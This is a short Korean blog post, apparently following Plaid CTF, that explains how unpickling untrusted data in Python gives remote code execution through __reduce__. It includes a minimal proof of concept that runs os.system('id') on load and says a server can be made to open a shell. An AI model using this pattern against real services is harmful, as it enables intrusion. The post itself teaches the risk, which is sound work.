이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.
pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다.
애초에, pickle이 안전하지 않다.
다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다.
취약점은 __reduce__ method에서 발생한다.
unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다.
- import cPickle
- import os
- class exploit(object):
- def __reduce__(self):
- return (os.system, ('id',))
- pd = cPickle.dumps(exploit())
- cPickle.loads(pd)
예시는 이와 같다.
class를 하나 만들고, __reduce__ 메소드에서, (함수, (인자,)) 를 리턴한다.
그것을 dump해서 pd로 넣어두고,
마지막에 loads(pd)를 할때, 커맨드가 실행 된다.
즉, 덤프 한것을, 서버에서 로드만 하도록 유도한다면, 쉘을 딸 수 있다.
'Computer Security > System' 카테고리의 다른 글
gs segment base address (1) | 2014.02.24 |
---|---|
CVE-2013-2094 리눅스 로컬권한상승 취약점 (7) | 2013.08.06 |
Race Condition one-shot exploit (1) | 2013.08.02 |
시스템함수를 통한 리버스텔넷 (추가) (1) | 2013.07.11 |
Hindering ROP Using In-Place Code Randomization (2) | 2013.06.26 |